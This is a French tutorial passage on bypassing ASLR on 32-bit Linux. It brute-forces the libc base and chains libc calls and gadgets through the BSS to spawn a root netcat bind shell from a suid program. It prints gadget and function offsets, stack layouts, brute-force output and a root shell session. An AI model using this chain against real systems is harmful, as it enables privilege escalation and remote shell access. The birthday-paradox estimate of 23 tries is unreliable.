Nous nous plaçons donc dans un cadre d'exploitation plus générique mais plutôt local où
les fichiers /proc/*/maps ne sont pas lisibles par d'autres utilisateurs que le propriétaire du processus concerné.
Etudions d'abord les possibilités de bruteforce sur ASLR pour estimer les chances qu'une exploitation avec des adresses
fixes a de marcher.
Prédictabilité d'ASLR sur 32-bits
Une intuition assez forte lorsque l'on commence à s'intéresser à ASLR, c'est que les adresses entre
plusieurs exécutions successives se ressemblent quand même pas mal... On sait en premier lieu que toute page mapée en
mémoire doit commencer par un multiple de la taille de page (classiquement 4096, soit 0x1000), ce qui nous laisse
déjà avec trois zéros de manière sûre. De plus, on observe également que tous les segments des librairies paraissent entassés en haut de l'espace mémoire, entre 0xb7c00000 et 0xb8100000 code dynamique est placé le plus haut possible (en-dessous de
0xc000000 qui est l'espace kernel), donc on se doute que pour une librairie chargée au début de l'espace des librairies comme libc ou ld, les deux premiers bytes vont être de la forme 0xb7[c-f].
Mine de rien, sur 32-bits, ça fait déjà une 20aine de bits que l'on connait de manière sûre. Pour vérifier ce
sentiment de faisabilité d'un bruteforce, qu'il soit local ou distant, on exécute quelques milliers de fois
un programme et on observe la répartition des valeurs, ainsi que le nombre d'occurences d'une valeur au hasard :
0xb7d71000.
$ ./aslr_watcher.py 2000
0xb7e77000: 5 time(s)
0xb7e51000: 4 time(s)
0xb7d64000: 1 time(s)
0xb7e47000: 5 time(s)
0xb7e4c000: 4 time(s)
0xb7d7a000: 4 time(s)
0xb7dfe000: 1 time(s)
0xb7dad000: 5 time(s)
0xb7e0b000: 4 time(s)
0xb7e63000: 1 time(s)
0xb7ede000: 2 time(s)
0xb7e13000: 3 time(s)
0xb7ee1000: 2 time(s)
0xb7e94000: 2 time(s)
0xb7e28000: 6 time(s)
0xb7e7c000: 2 time(s)
0xb7ed0000: 3 time(s)
0xb7ea8000: 4 time(s)
0xb7e6e000: 4 time(s)
0xb7d91000: 4 time(s)
0xb7e71000: 5 time(s)
0xb7e07000: 3 time(s)
0xb7daa000: 6 time(s)
0xb7f2d000: 2 time(s)
0xb7e3e000: 5 time(s)
0xb7dd6000: 2 time(s)
0xb7dc9000: 4 time(s)
0xb7d83000: 13 time(s)
[...]
0xb7e36000: 6 time(s)
502 unique values, 3 times on average
For 0xb7d71000: 5 time(s)
Effectivement, il y a un peu plus de 500 valeurs possibles, soit environ 9 bits randoms avec une moyenne logique de 3
fois sur 2000 essais. Avec une valeur prise au hasard, on a obtenu 5 succès. Ceci signifie qu'une attaque bruteforce sur la
base de la libc a toute ses chances. Oui, mais dans l'exploit précédent, nous utilisions également l'adresse de base
de la pile. Si on suppose que la pile est randomisé dans la même veine que la libc, ça nous laisse avec une chance sur
plusieurs centaines de milliers (et en réalité, il y a 4 fois plus de possibilités) ce qui commence à être très lourd, surtout à distance. Il va donc falloir essayer de modifier notre technique d'exploitation afin de ne pas avoir à
déterminer un endroit exact de la pile, car on sent bien
qu'en ayant le contrôle de la pile et en ayant une grande ressource de fonctions et de bytes que sont les librairies, on
peut réussir à s'en sortir.
Chaînage des appels
Afin de réussir des exploits plus complexe sans shellcode pour démarrer l'exécution, on sent très
vite la besoin de réussir à chaîner des appels sur la pile. On voit qu'un chaînage basique, c'est-à-dire mettre une autre
adresse de retour après l'adresse exécutée ne marchera pas vraiment, puisque les arguments qui suivront seront ceux de la
fonction précédemment appellée, à partir de l'argument 2 du moins. Quand bien même la première fonction n'aurait
qu'un argument et que cela paraîtrait envisageable, on se rend compte qu'on ne peut pas vraiment chainer plus d'un appel,
puisque la troisième adresse de retour correspond à l'argument 1 du premier appel, qui a peu de chance d'être une adresse
de retour qui nous arrange.
Arrivés à ce stade, on se dit qu'on reste finalement bien conventionnels, bien dans les règles. L'adresse de retour veut
l'adresse d'une fonction à appeller et on lui en donne une. Mais si, au lieu d'une fonction, on lui donnait simplement
l'adresse d'une suite d'opcodes qui vont bien ? Après tout, vu l'étendue potentielle d'opcodes que nous avons dans les
librairies chargées (libc, libdl notamment) on se dit qu'on peut arriver à effectuer des suites d'opérations intéressantes.
On se dit aussi rapidement qu'il y a tout de même une contrainte assez forte dans les suites à choisir, c'est qu'elles
doivent se terminer par une instruction de branchement que nous contrôlons (ret, call *(reg), jmp reg), afin que nous
puissions régir le flux à notre guise.
Pour le cas du chaînage d'appel, on veut finalement contourner un problème principal : faire en sorte que l'esp "saute"
les arguments de la fonction précédemment exécutée. On peut avoir plein d'exemples de tels séquences qui peuvent être
fréquentes dans la libc :
- (pop reg)+ ; pop eip. Ici, on effectue un ou plusieurs pops dans des registres qui ne nous intéressent pas, puis on
retourne à l'adresse sur le haut de la pile.
- add esp, x ; pop eip. Ici, on retire x octets à la pile puis on retourne à l'adresse pointée par esp.
- push reg ; pop eip. Dans ce cas l'éxécution va retourner dans l'adresse contenue dans le registre reg, mais ne modifiera
pas l'état de la pile, son utilisation dépend donc des instructions précédent le push ou des instructions dans le segment
pointé par reg.
- mov esp, ebp ; pop ebp ; pop eip. Epilogue classique d'une méthode, ce leave/ret permet de replacer esp à l'endroit pointé
par ebp, puis de retourner dans la deuxième adresse de la pile.
- ...
J'ai placé des pop eip pour la compréhension, mais vous aurez sûrement compris qu'il s'agit d'instruction ret qui sont
équivalentes. En tout cas, on imagine que les possibilités sont grandes. En premier lieu parce que certaines séquences
d'instructions, comme les pop + ret ou add esp + ret sont fréquentes (car lorsque l'on quitte une fonction, il n'est pas
rare de retourner esp à la normale pour écraser les variables locales ou de restaurer le contexte des registres
de l'appellant). Il nous est donc possible d'envisager des bouts de code assez évolués, comme la frame suivante :
++++++++++++
@seteuid
++++++++++++
@pop + ret
++++++++++++
arg seteuid
++++++++++++
@execve
++++++++++++
DUMMY
++++++++++++
exec_path
++++++++++++
char ** arg
++++++++++++
char ** env
++++++++++++
Tout d'abord, seteuid va s'exécuter avec son unique argument à esp+4. Ensuite, lors du ret, on va exécuter un pop + ret, qui
va poper l'argument de seteuid dans un registre et retourner à l'adresse suivante, c'est-à-dire execve, avec ses
arguments à partir d'esp+4. L'adresse de retour après l'execve n'a pas vraiment d'importance, puisque il va y avoir
recouvrement par le programme exécuté.
Très bien, mais il y a plusieurs problèmes. Tout d'abord, afin de se réapproprier les privilèges éventuellement diminués,
il faut appeller setreuid avec l'argument 0. Ce qui nous fait donc 4 bytes nuls qui ne survivront pas au strcpy(). De
plus, le premier argument de execve doit être un pointeur vers une chaîne de caractères qui n'est autre que le chemin
vers le programme à exécuter. Les arguments suivants sont également des pointeurs vers tableaux de chaînes de caractères, les paramètres et l'environnement. Chacun de ces tableaux doit se terminer par un pointeur nul. En dehors des bytes nuls, nous n'avons plus les
moyens de localiser précisément une chaîne de caractères sur la pile ou dans l'environnement puisque nous ne connaissons pas
l'adresse de base de la pile. Nous allons maintenant nous pencher sur ces différentes questions.
Copie de bytes
Pour plusieurs raisons, une certaine quantité de bytes ne peut pas être passée directement sur la pile. Il nous faut donc trouver des moyens de placer un à 4 bytes à un endroit précis avec la valeur que l'on veut.. Hm.. ça ne nous rappelle pas quelque chose ça ? Si ! Les format strings. En effet, on imagine pouvoir utiliser un printf pour assouvir nos besoins :
++++++++++++
@printf
++++++++++++
@Xpop + ret
++++++++++++
@format string
++++++++++++
@arg1
++++++++++++
...
++++++++++++
@argX
++++++++++++
On se dit tout de même que cette technique peut poser plusieurs problèmes. En effet, il faut tout d'abord connaître l'adresse
de la format string. Ceci dit, on s'imagine qu'en la plaçant au-dessus, il ne devrait pas être trop difficile par un jeu
d'instructions de mettre la bonne adresse au bon endroit. Pour ce qui est des arguments, ça devient une autre paire de manches, on ne voit pas très bien comme réussir efficacement à référencer du contenu bien plus bas afin de faire plusieurs
modifications d'un coup. Au final, la technique printf() pourrait très bien marcher sans la randomisation ou si nous
connaissions l'adresse de base de la pile.
On pense donc à son compère, le strcpy() :
++++++++++++
@strcpy
++++++++++++
@2pop + ret
++++++++++++
@dst
++++++++++++
@src
++++++++++++
Ceci paraît déjà plus faisable, puisque pour copier un byte quel qu'il soit, il suffit d'avoir comme source une position
dans la libc qui référence ce byte suivi de \0 (ce qui existe pour tous les bytes), ou d'un 0 tout court pour le byte nul.
Au final, en connaissant l'adresse source ou l'adresse destination de façon fixe, l'effort à produire est simplement
d'insérer la bonne valeur de la source ou de la destination au bon endroit, par une séquence d'instructions adaptée.
Au final, que ce soit pour le printf ou le strcpy, il y a deux possibilités à envisager :
- Connaissance d'une adresse fixe dans un espace rw. De cette manière, nous pourrions utiliser cet espace comme buffer
pour les strcpy et printf.
- Connaissance d'une séquence d'instruction permettant d'une part de référencer précisément n'importe quelle adresse pas
trop loin dans la pile et d'une autre permettant d'insérer n'importe quelle valeur à cette adresse.
Vous vous en doutez, les deux techniques sont possibles. Mon coeur balance pour la deuxième, mais ce n'est sûrement pas
pour la longueur du payload à injecter :]
Utiliser le BSS comme tampon
Nous l'avions évoqué dans notre article sur la segmentation
mémoire, il existe un segment spécial pour le stockage des données : le BSS (Block Started by Symbol).
Le segment BSS contient les donnée statiques globales et non-initialisées. C'est-à-dire qu'il faut nécessairement pouvoir
écrire et lire dedans. Si son adresse est à peu près fixe, ceci devrait nous suffire. Testons donc sur trois systèmes
différents de repérer l'adresse du BSS :
32-bits machine 1 :
$ gcc vuln.c -o vuln && ./get-bss.py
BSS from 0x0804a000 to 0x0804b000
$
64-bits :
$ gcc vuln.c -o vuln && ./get-bss.py
BSS from 0x08049000 to 0x0804a000
$
32-bits machine 2 :
$ gcc vuln.c -o vuln && ./get-bss.py
BSS from 0x08049000 to 0x0804a000
$
On se rend compte qu'il existe et ce à des adresses statiques. En effet, le segment text commence toujours à la même adresse. Comme il s'agit du même programme, celui-ci, même compilé de manière légèrement différente, aura à peu près la même taille donc a beaucoup de chance de nécessiter la même longueur de segment sur différents systèmes. Ensuite viennent
segments data (dans ce cas, 0x4000 octets) et bss (0x1000 octets). Seul bémol : parfois, seul un segment data rw existe, incluant du
même coup le BSS, décalant légèrement les adresses exploitables. C'est le cas de la troisième machine testée ci-dessus.
Au final, nous avons donc une chance sur deux, pour ne pas
dire plus, de connaître une adresse appartenant au segment BSS (soit dans le BSS, soit dans le data), même à distance. Cela paraît donc mieux que les 1 chances sur 2000 représentant la randomization de la base de la pile.
Au final, l'exploitation va se dérouler en deux temps. Si l'on veut effectuer une suite seteuid()/execve(), il faut tout d'abord, un ensemble de strcpy() et/ou printf() qui vont être chargés d'initialiser correctement (avec les arguments de
l'execve en réalité) la zone mémoire ciblée dans le BSS. Ensuite, par un jeu d'instructions qu'il faut trouver, il sera
nécessaire de mettre à zéro l'argument de seteuid(). En chaînant avec les seteuid() et execve(), tout devrait bien se passer.
Repérer les instructions nécessaires
Tout d'abord, il est nécessaire de recopier les arguments du programme à exécuter dans le BSS. Nous
souhaitons démarrer un shell sur n'importe quel port distant. Nous avons ainsi choisi le port 3333. Ainsi, il faut que nous
recopions chacune des chaînes de caractères de la commande /bin/netcat -l -p 3333 -e /bin/sh. Repérons donc dans la libc les chaînes de caractères (terminées par un byte nul) qui peuvent nous intéresser :
$ ./find_strings /bin/netcat -l -p 3333 -e /bin/sh
['0x2f', '0x62', '0x69', '0x6e'] = "/bin" found at 0x13e501
['0x2f', '0x6e', '0x65', '0x74'] = "/net" found at 0x13e9a6
['0x63', '0x61', '0x74'] = "cat" found at 0xdda3
['0x2d'] = "-" found at 0x7f6
['0x6c'] = "l" found at 0x8d9
['0x2d'] = "-" found at 0x7f6
['0x70'] = "p" found at 0xa74
['0x33', '0x33'] = "33" found at 0x9c88
['0x33', '0x33'] = "33" found at 0x9c88
['0x2d'] = "-" found at 0x7f
['0x65'] = "e" found at 0x7cd0
['0x2f', '0x62', '0x69', '0x6e'] = "/bin" found at 0x13e501
['0x2f', '0x73', '0x68'] = "/sh" found at 0x13cc77
$
Tout ce dont nous avons besoin existe dans la libc. Il nous suffit de recopier ces chaînes de caractères à une adresse
prédéfinie dans le BSS. Par exemple, pour recopier /bin/netcat à l'adresse LOC1, la pile devra ressembler à ceci :
+++++++++++++++
@strcpy
+++++++++++++++
@2pop+ret
+++++++++++++++
loc1
+++++++++++++++
@"/bin"
+++++++++++++++
@strcpy
+++++++++++++++
@2pop+ret
+++++++++++++++
loc1+4
+++++++++++++++
@"/net"
+++++++++++++++
@strcpy
+++++++++++++++
@2pop+ret
+++++++++++++++
loc1+8
+++++++++++++++
@"/cat"
+++++++++++++++
Tous les autres arguments pourront donc être facilement écrits de cette façon. Désormais, il faut réussir à construire le tableau des arguments, contenant
les adresses de chaque chaîne de caractères copiées de la manière précédente et terminant par quatre bytes nuls. Concernant
ces quatre derniers bytes, il y a
plusieurs manières de faire. Par exemple, réutiliser des strcpy()/printf() à nos fins. Ceci dit, on se dit que recopier des
mots de 4 bytes à une adresse connue d'avance, ce ne devrait pas être trop difficile avec le jeu des registres. Il faut
réussir à trouver une manière de mettre n'importe quelle valeur dans deux registres puis réussir à mettre l'un à l'adresse
pointée par l'autre. Un petit coup d'oeil dans la libc nous sort les instructions qui vont bien :
0x000e54ff <mcount+15>: pop %edx
0x000e5500 <mcount+16>: pop %ecx
0x000e5501 <mcount+17>: pop %eax
0x000e5502 <mcount+18>: ret
0x0002adef <frexp+111>: mov %ecx,(%eax)
0x0002adf1 <frexp+113>: ret
Nous contrôlons donc je contenu de ecx et de edx puisque nous contrôlons la pile. Nous serons cependant obligé de popper
edx à chaque fois puisque l'adresse de pop ecx contient un byte nul. De cette manière, la séquence suivante devrait
permettre de copier l'adresse A1 à l'adresse A2 :
+++++++++++++++
@pop edx, ecx, eax
+++++++++++++++
DUMMY
+++++++++++++++
A1
+++++++++++++++
A2
+++++++++++++++
@*eax = ecx
+++++++++++++++
De cette manière, il suffit de nullifier ecx pour écrire les bytes nuls. Ceci dit, pour la preuve de concept, il est
élégant d'utiliser un printf("%n",addresse). De plus, la chaîne "%n" existe à l'offset 0x13df4f dans la libc.
Il nous reste donc à nullifier l'argument de seteuid(). Nous cherchons donc
en premier lieu une instruction nous permettant de push un registre de manière relative à l'esp. Nous trouvons un
mov [esp+12], eax qui devrait bien faire l'affaire :
0x0002b1f5 <copysignl+21>: mov %eax,0xc(%esp)
0x0002b1f9 <copysignl+25>: fldt 0x4(%esp)
0x0002b1fd <copysignl+29>: ret
L'instruction parasite fldt n'aura aucune influence sur notre exécution car elle ne fait que charger le contenu à esp+4 dans
un registre flottant. Il ne reste donc plus qu'à trouver une manière de nullifier eax. Par exemple, xor eax, eax; ret, qui
existe à l'offset 0x3c3fe. Ainsi, enchaîner les appels de la manière suivante devrait fonctionner à merveille et remplacer DUMMY par un 0 :
+++++++++++++++
@xor eax, eax
+++++++++++++++
@*(esp+12) = eax
+++++++++++++++
@ret
+++++++++++++++
@seteuid
+++++++++++++++
@pop+ret
+++++++++++++++
DUMMY
+++++++++++++++
Nous avons tous les éléments nécessaires pour la sémantique de notre exploit. Il ne reste plus qu'à déterminer les
offsets des fonctions de la libc que nous souhaitons utiliser :
(gdb) p printf
$1 = {<text variable, no debug info>} 0x49c90 <printf>
(gdb) p seteuid
$2 = {<text variable, no debug info>} 0xd9a40 <seteuid>
(gdb) p strcpy
$3 = {<text variable, no debug info>} 0x76df0 <strcpy>
(gdb) p execve
$4 = {<text variable, no debug info>} 0x9d2c0 <execve>
En collant tous ces petits morceaux bout à bout, nous obtenons donc un programme d'exploitation qui n'est dépendant que
de deux paramètres : l'adresse de base de la libc et le fait que le programme possède un seul ou deux segments data.
Ce programme étant dépendant de la libc, il est nécessaire d'effectuer de multiples exécutions successives avec une adresse
de base fixe. Nous l'avions evoqué, il y a environ une chance sur 500 que l'adresse de base soit bonne. En utilisant le
paradoxe des anniversaires, nous savons qu'il faudra en moyenne 23 exécutions (racine de 500) pour que l'exécution coïncide
ce qui paraît tout à fait acceptable. Il est l'heure de tenter. vuln.c utilisé précédemment est compilé et placé en suid
root :
$ ./bruteforce-libc-bss
[...]
Execution 22
Name: Your name is 492 bytes long
Execution 23
Name: Your name is 492 bytes long
Execution 24
Name: Your name is 492 bytes long
Execution 25
Name: Your name is 492 bytes long
Le programme stoppe, essayons donc de nous connecter au shell distant qui est censé avoir été démarré :
$ nc localhost 3333
whoami
root
tail -n3 /var/log/messages
Apr 6 15:15:20 Bases-Hacking kernel: vuln[6146]: segfault at 0 ip (null) sp bfcc870c error 4 in vuln[8048000+1000]
Apr 6 15:15:20 Bases-Hacking kernel: vuln[6148]: segfault at b7ecbdf0 ip b7ecbdf0 sp bf8bc230 error 4 in libc-2.8.90.so[b7f09000+158000]
Apr 6 15:15:20 Bases-Hacking kernel: vuln[6150]: segfault at b7ecbdf0 ip b7ecbdf0 sp bf98a3b0 error 4 in libc-2.8.90.so[b7eed000+158000]
exit
$
Magnifique, non ??? Maintenant, on se dit tout de même qu'en tentant des sémantiques plus complexes, on pourrait totalement
s'affranchir de ce buffer qu'est le BSS et qui multiplie par deux les tentatives à effectuer pour réussir un exploit. Ceci
nous permettrait de totalement passer outre la randomization de la pile et de ne bruteforcer que la base de la libc.